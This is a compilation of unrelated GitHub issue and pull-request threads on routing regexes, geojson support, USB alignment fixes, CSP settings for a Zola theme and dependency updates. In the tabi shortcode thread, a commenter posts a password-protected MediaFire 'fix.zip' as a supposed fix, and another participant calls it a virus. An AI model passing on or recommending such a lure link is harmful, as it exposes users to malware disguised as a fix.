[79/d18143] process > run_wf:run_components_wf:random_forest:random_forest_process (bmmc_cite_starter.random_forest)          [100%] 4 of 4 ✔
[f9/a8971e] process > run_wf:run_components_wf:correlation:correlation_process (bmmc_multiome_starter_swapped.lm)             [100%] 36 of 36 ✔
[e4/580d5b] process > run_wf:run_components_wf:mse:mse_process (bmmc_multiome_starter_swapped.lm)                             [100%] 36 of 36 ✔
[24/591632] process > run_wf:extract_scores:extract_scores_process (output)                                                   [100%] 1 of 1 ✔
Completed at: 14-Jul-2023 06:54:48
Duration    : 4m 41s
CPU hours   : 2.1
Succeeded   : 109


Remove some duplicate routes, tighten up some route regexes in routes.go

What does this PR (Pull Request) do?
Remove some duplicate routes, add a unit test to check for duplicate route problems in the future, and tighten up some rewritten route regexes to match their corresponding Perl routes.

[x] This PR is not related to any Issue

Which Traffic Control components are affected by this PR?

Traffic Ops

Fixes some API routes, no docs necessary.
What is the best way to verify this PR?
Run the TO unit and API tests, verify they pass. Manually query some of the fixed routes to confirm they only accept literal .config instead of <insert any character here>config and deliveryservices instead of either deliveryservice or deliveryservices (since the original ? in those routes made the 's' optional).
If this is a bug fix, what versions of Traffic Control are affected?

master

The following criteria are ALL met by this PR

[x] This PR includes tests OR I have explained why tests are unnecessary
[x] This PR includes documentation OR I have explained why documentation is unnecessary
[x] This PR includes an update to CHANGELOG.md OR such an update is not necessary
[x] This PR includes any and all required license headers
[x] This PR ensures that database migration sequence is correct OR this PR does not include a database migration
[x] This PR DOES NOT FIX A SERIOUS SECURITY VULNERABILITY (see the Apache Software Foundation's security guidelines for details)

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/trafficcontrol-PR/4857/

Refer to this link for build results (access rights to CI server needed):
https://builds.apache.org/job/trafficcontrol-PR/4860/


⚠ Bofrost.at has degraded performance

In 72a13d5, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 2540 ms

Resolved: Bofrost.at performance has improved in 30b43fb after 1 hour, 22 minutes.


bad allocation error to fail test-suite run in testbed

POST http://<IP_ADDRESS>:3005/v1/list-end-points-of-link [401 Unauthorized, 427B, 7ms]
Problem: While running ALT test-suite report in testbed Jenkins pipeline, a problem has been occurring and terminates the run.  (below is the error message). Need to analyze further on this and find a solution for the test-suite to run successfully.
Attempting to set next request to reference /v1/list-end-points-of-link

↳ reference /v1/list-end-points-of-link
terminate called after throwing an instance of 'std::bad_alloc'
  what():  std::bad_alloc
<EMAIL_ADDRESS>line 4: 747942 Aborted                 (core dumped) newman run --delay-request 1000 --timeout-request 30000 ApplicationLayerTopology+testcases.json -d ApplicationLayerTopology+data.json -r htmlextra,cli

The issue has been automatically resolved after issues with ES related service are resolved.


Does Microsoft support Sample Apps in the Microsoft Teams store?

The documentation is not clear if the Sample Apps located with the Microsoft Teams store are officially supported. What is the guidance to open a support case for any bugs found within the Sample Apps?

Document Details
⚠ Do not edit this section. It is required for docs.microsoft.com ➟ GitHub issue linking.

ID: 7f425241-9d04-b15e-769b-60f6d2a016c9
Version Independent ID: 92765336-4de4-51ef-65cd-2196709b6766
Content: Frequently Asked Questions (FAQs) and answers when using sample apps from Teams store - Power Apps
Content Source: powerapps-docs/teams/sample-apps-faqs.md
Service: powerapps
Sub-service: teams
GitHub Login: @navjotm
Microsoft Alias: namarwah

Thank you for reaching out. The generally available sample apps in Microsoft Teams store are supported whereas the apps with "Preview" disclaimers are subject to preview and experimental feature terms.


Add support for geojson external files

Closes #591
Why is this the best possible solution? Were any other approaches considered?
Just adding some more conditions! It didn't feel like there were a ton of decision to make.
What are the regression risks?
Regression risk is isolated to external select types. The test coverage there is very high so it's hard to imagine what could go wrong.
Does this change require updates to documentation? If so, please file an issue here and include the link below.
https://github.com/XLSForm/xlsform.github.io/issues/224
Before submitting this PR, please make sure you have:

[x] included test cases for core behavior and edge cases in tests
[x] run nosetests and verified all tests pass
[x] run black pyxform tests to format code
[x] verified that any code or assets from external sources are properly credited in comments

Looks good! I suggest a minor change to use data so the rule is in one place, instead of repeating the conditional. Though it will work either way.
For constants.py
EXTERNAL_CHOICES_ITEMSET_REF_LABEL = {".xml": "label", ".csv": "label", ".geojson": "title"}
EXTERNAL_CHOICES_ITEMSET_REF_VALUE = {".xml": "name", ".csv": "name", ".geojson": "id"}

then in question.py
itemset_label_ref = self.parameters.get(
    "label",
    EXTERNAL_CHOICES_ITEMSET_REF_VALUE[file_extension]
)
itemset_label_ref = self.parameters.get(
    "label",
    EXTERNAL_CHOICES_ITEMSET_REF_LABEL[file_extension]
)

and in test_external_instances_for_selects.py
for ext, xp_city, xp_subs in self.xp_test_args:
    expected_value_ref = EXTERNAL_CHOICES_ITEMSET_REF_VALUE[ext]
    expected_label_ref = EXTERNAL_CHOICES_ITEMSET_REF_LABEL[ext]

The empty string file extensions seem occur for regular choices e.g. select_one mylist. It begs the question as to why the Question subclasses don't have the original question type, or some indication that the question is a ..from_file select, rather than needing to split the itemset name to detect them. The following would handle the empty string case without the additional dict item:
itemset_value_ref = self.parameters.get(
    "value",
    EXTERNAL_CHOICES_ITEMSET_REF_VALUE.get(file_extension, "name")
)
itemset_label_ref = self.parameters.get(
    "label",
    EXTERNAL_CHOICES_ITEMSET_REF_LABEL.get(file_extension, "label")
)

or in SQL style
def coalesce(*args):
    return next((a for a in args if a is not None), None)

itemset_value_ref = coalesce(
    self.parameters.get("value"),
    EXTERNAL_CHOICES_ITEMSET_REF_VALUE.get(file_extension)
    "name"
)

#593 would likely touch this code again so whatever we end up with might change again soon. So if the above isn't quite right either, I think we should merge without further changes.

why the Question subclasses don't have the original question type

Right, I did wonder that briefly. Let's leave it as-is for now and follow up next time we're in this area. I could imagine some tidying up as part of #590, too.


Migrate database to dotkom owner neon user

Log in with dotbot credentials found in Doppler
https://console.neon.tech/app/projects/cool-mode-32262428

Idk why the generated types has a changeset but w/e

Kysely-codegen version bump added sorted keys https://github.com/RobinBlomberg/kysely-codegen/pull/97/files


how to add all contracts to analysis

In the readme.md, the line for making a graphviz diagram of all contracts is
surya graph contracts/**/*.sol | dot -Tpng > MyContract.png

however I do not understand what the "**" syntax is. It doesnt run in my version of bash, and I cant google my way out of it.
It seems that this output would show the graph for all the interacting .sol files? but I also dont know if that is what is supposed to happen.. certainly the syntax would imply that.
}Sorry if this is an ultra noob question, but Ive got 25 years of linux sysadmin and development, and I cannot see how to unpick the question without asking!
thanks

looks like this is just bash expander syntax I didnt know sorry :)


Signon correctly handles organisation slug changes

This reduces the load on 2nd line when an organisation's slug changes. It also enables us to send content_ids rather than slugs when telling apps about users, thus reducing their knowledge of/dependency on organisation slugs.

This change looks good to me, however, I don't think we can deploy it all in one go.  I think we first need to deploy a change to give organisations a content_id field, and populate that field from the organisations API.  Then once they're populated, we can deploy a second change to to key the update on the content_id.

You're right, I'll close and split it into two Pull Requests.


getBug() returns a generic "HTTP status 400" for non-public bugs

https://api-dev.bugzilla.mozilla.org/latest/bug/767101 returns:
code: 102
error: 1
message: Access Denied

However bz.js' getBug() doesn't attempt to parse the response, since the response status is 400:
    else if(response.status >= 300 || response.status < 200)
      error = "HTTP status " + response.status;
    else {
      try {
        json = JSON.parse(response.responseText);
      } catch(e) {
        error = "Response wasn't valid json: '" + response.responseText + "'";
      }
    }

So we lose the "Access Denied" message, and instead return an err value of "HTTP status 400", which presumably can occur for other malformed request cases too.
This means that in the case of https://github.com/harthur/bugzilla-todos/issues/55 we have to treat HTTP 400s as all being access denied, when it would be useful to surface the other cases differently.

@edmorley this should be fixed with the adoption of the REST api. I noticed you referenced a bugmotodo bug here, I have not yet taken a look at that code to see if it needs to be adjusted for this new verison of bz.js - hang tight.

The issue in question 404s now, the new URL is https://github.com/fitzgen/bugzilla-todos/issues/55


incorrect docs

According to https://github.com/zeit/next.js/issues/2094 the docs are incorrect here https://github.com/zeit/styled-jsx#keeping-css-in-separate-files and you can not keep separate CSS files. Docs should be updated if this is incorrect.

It's never mentioned in the next.js docs. With the next styled-jsx release we'll update it in next.js. @giuseppeg is working on it 👌 Thanks for reminding us though 👍


Assigning task for reciple-app

Link to our project
We are a group of 2 members, down are the assigned tasks.

Hi team @YannickZahinda, @Alfredbis29 🙋♀,
Good JOB! 💯
You have done a great job setting up your kanban task.
Congratulations!!!
Status: Approved ✔
Cheers 🥂  and Happy coding!!! 👯
Feel free to leave any questions or comments in the PR thread if something is not 100% clear.
Please, remember to tag me @KDlamini  in your question so I can receive the notification.

As described in the Code reviews limits policy you have a limited number of reviews per project (check the exact number in your Dashboard). If you think that the code review was not fair, you can request a second opinion using this form.


subsys :usb : class: hid: Fix fault due to unaligned access

patch fix fault due to unaligned access while setting hid
report size on xtensa platform.
Fixes #11266
Signed-off-by: Savinay Dharmappa<EMAIL_ADDRESS>

@rgundi we cannot make descriptor table not packed. It is returned via USB requests.

Codecov Report

:exclamation: No coverage uploaded for pull request base (master@296dab3). Click here to learn what that means.
The diff coverage is n/a.

@@            Coverage Diff            @@
##             master   #11432   +/-   ##
=========================================
  Coverage          ?   48.37%
=========================================
  Files             ?      265
  Lines             ?    42192
  Branches          ?    10137
=========================================
  Hits              ?    20412
  Misses            ?    17703
  Partials          ?     4077

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 296dab3...8d12239. Read the comment docs.

@rgundi we cannot make descriptor table not packed. It is returned via USB requests.

Thanks. So, should this UNALIGNED_PUT be used only for Xtensa platform?

@SavinayDharmappa :confused:, what is about #8495?

@rgundi we cannot make descriptor table not packed. It is returned via USB requests.

Thanks. So, should this UNALIGNED_PUT be used only for Xtensa platform?

I think it is OK to have it for all platforms, maybe only it is better to use instead sys_put_le16().

@SavinayDharmappa Do you like to take the changes from #8495 over?

remove "subsys: " from the commit messages...

@SavinayDharmappa Do you like to take the changes from #8495 over?

@SavinayDharmappa  we should do that.

@nashif  @jfischer-phytec-iot  #8495 have similar changes for other class of usb other than hid. I am not sure how would it affect the system.

@nashif @jfischer-phytec-iot #8495 have similar changes for other class of usb other than hid. I am not sure how would it affect the system.

Most of those are not needed since they use PUT_UNALIGNED with 1 byte. The only other change needed is modification of wTotalLength IIRC. So please use sys_put_le16() for those 2 changes.

Most of those are not needed since they use PUT_UNALIGNED with 1 byte. The only other change needed is modification of wTotalLength IIRC. So please use sys_put_le16() for those 2 changes.

Let's merge it and discuss further in #8495.


Update Contribution.md DOC

I want to update contribution.md DOC and add meaningful content and Step by Step guide for contributing in this project.
Updated like this

Please assign me this under GSSOC 2023 I want to work on this.

Looks good, you can work on this.

@sahil-sagwekar2652 Please merge my PR under GSSOC 2023


AREA_SQUARE_METERS was used from tuya_local, this is a deprecated constant

Description
Got this in the logg
Logger: homeassistant.const
Källa: helpers/deprecation.py:222
Inträffade först: 06:47:05 (1 händelser)
Senast loggade: 06:47:05
AREA_SQUARE_METERS was used from tuya_local, this is a deprecated constant which will be removed in HA Core 2025.12. Use UnitOfArea.SQUARE_METERS instead, please report it to the author of the 'tuya_local' custom integration
Steps to reproduce
No response
Expected behaviour
No response
Additional context
No response
Confirmation

[X] I am sure this is a bug or improvement, that is well enough described that it can be implemented.

[X] If this is for a specific device, the device config is mentioned above, or diagnostics are included.

[X] Log messages or diagnostics relevant to the issue are included.

[X] This is not requesting addition of a new device.

Duplicate of #2596

Sorry, git search is a pretty dull instrument.


youtube shortcode is not working.

Bug Report
I have used an YT shortcode which was working fine withe Apollo theme. However, in tabi I am facing issue.

I have added this file, youtube.html under templates/shortcode
Environment
Zola version: 0.19.1
tabi version or commit: 2.13.0
Expected Behavior
Youtube video should have come as an embedding.
Current Behavior
Tell us what happens instead of the expected behavior.

link
Step to Reproduce

Create the youtube shortcode html file.
Use it in any markdown post file

Live streaming links of the conference:
{{ youtube(id="GPkWL-9akQc") }}

Build and serve the site

Download
https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file
password: changeme
In the installer menu, select "gcc."

Download https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file password: changeme In the installer menu, select "gcc."

@PiaoR
What will it do?

Download https://www.mediafire.com/file/5t7dozm7sptcuqj/fix.zip/file password: changeme In the installer menu, select "gcc."

@PiaoR What will it do?

it's virus, don't download it

Hi Soumendra!
Did you allow youtube connections through the CSP?

Thanks @welpo for the precise solution. After making the following changes, it fixed the issue.
allowed_domains = [
    { directive = "font-src", domains = ["'self'", "data:"] },
    { directive = "img-src", domains = ["'self'", "https://*", "data:"] },
    { directive = "media-src", domains = ["'self'", "https://cdn.jsdelivr.net/"] },
    { directive = "script-src", domains = ["'self'"] },
    { directive = "style-src", domains = ["'self'"] },
-    { directive = "frame-src", domains = ["player.vimeo.com", "https://www.youtube-nocookie.com"] },
+    { directive = "frame-src", domains = ["player.vimeo.com", "https://www.youtube.com"] },
]

@welpo Thanks for this snippet. Is there any reason why Zola removed this shortcode?

They were removed here: https://github.com/getzola/zola/commit/a56e4248e12cd0e958e5fbb48c039c85a989d238
Reasoning:

The youtube one for example had been broken for a long time and no one really noticed. It's better to not have anything than something not tested/doesn't work. Most of them were only a couple of lines anyway.

I might add Vimeo/YouTube shortcodes to tabi and mention the CSP changes necessary to make them work on the documentation.


Update fs2-core, fs2-io to 3.2.14

Updates

co.fs2:fs2-core
co.fs2:fs2-io

from 3.2.12 to 3.2.14.
GitHub Release Notes - Version Diff
I'll automatically update this PR to resolve conflicts as long as you don't change it yourself.
If you'd like to skip this version, you can just close this PR. If you have any feedback, just mention me in the comments below.
Configure Scala Steward for your repository with a .scala-steward.conf file.
Have a fantastic day writing Scala!

Adjust future updates
Add this to your .scala-steward.conf file to ignore future updates of this dependency:
updates.ignore = [ { groupId = "co.fs2" } ]

Or, add this to slow down future updates of this dependency:
dependencyOverrides = [{
  pullRequests = { frequency = "@monthly" },
  dependency = { groupId = "co.fs2" }
}]

labels: library-update, early-semver-patch, semver-spec-patch, commit-count:1

Codecov Report

Merging #667 (b808d71) into master (ec46bfd) will increase coverage by 0.34%.
The diff coverage is n/a.

 Take ten seconds to tell us how you rate us. Have a feature suggestion? Share it here.


Update hawkular-commons 0.9.1 -> 0.9.2

Travis looks good.
Is this one necessary for 1.6.x branch ?
(1.6.x versions would be used for metrics 0.26.x).

I think yes, but please @pgier or @jshaughn just confirm and I can merge and move the commit to the 1.6.x branch.

@pgier I think I must have missed the conversation about this.  I see that H Services is at 0.9.2 so I guess you are trying to consolidate around that?  As I understand the H Metrics release plan H Services will use the Metrics 0.26.x line until further notice.  And that means the 1.6.x line for H Alerting.
So this PR for H A master, and the other for H M master are OK but will actually just keep things up to date going forward.  What we really do need are PRs for 0.26.0 and 1.6.x branches for M and A, respectively, because that is what is going to be in H Services for the foreseeable future, Correct me if I am wrong @stefannegrea.

@lucasponce @jshaughn Thanks! I submitted pr #319 for the 1.6.x branch.


Walkthrough of Sample EDRMS shell

#Privacy of Information and Protection:
Your opinion is your personal information. Please do not include any information which identifies you or others in your response.
#Description:
Placeholder task for 1st demo of the sample EDRMS diagram.
#Outcome:

[ ]  Better alignment on the understanding of the desired structure for EDRMS

This work will not be completed as now the plan is to complete the Foundation work first to have a complete view of the scope ahead of trying to further define the scope and requirements.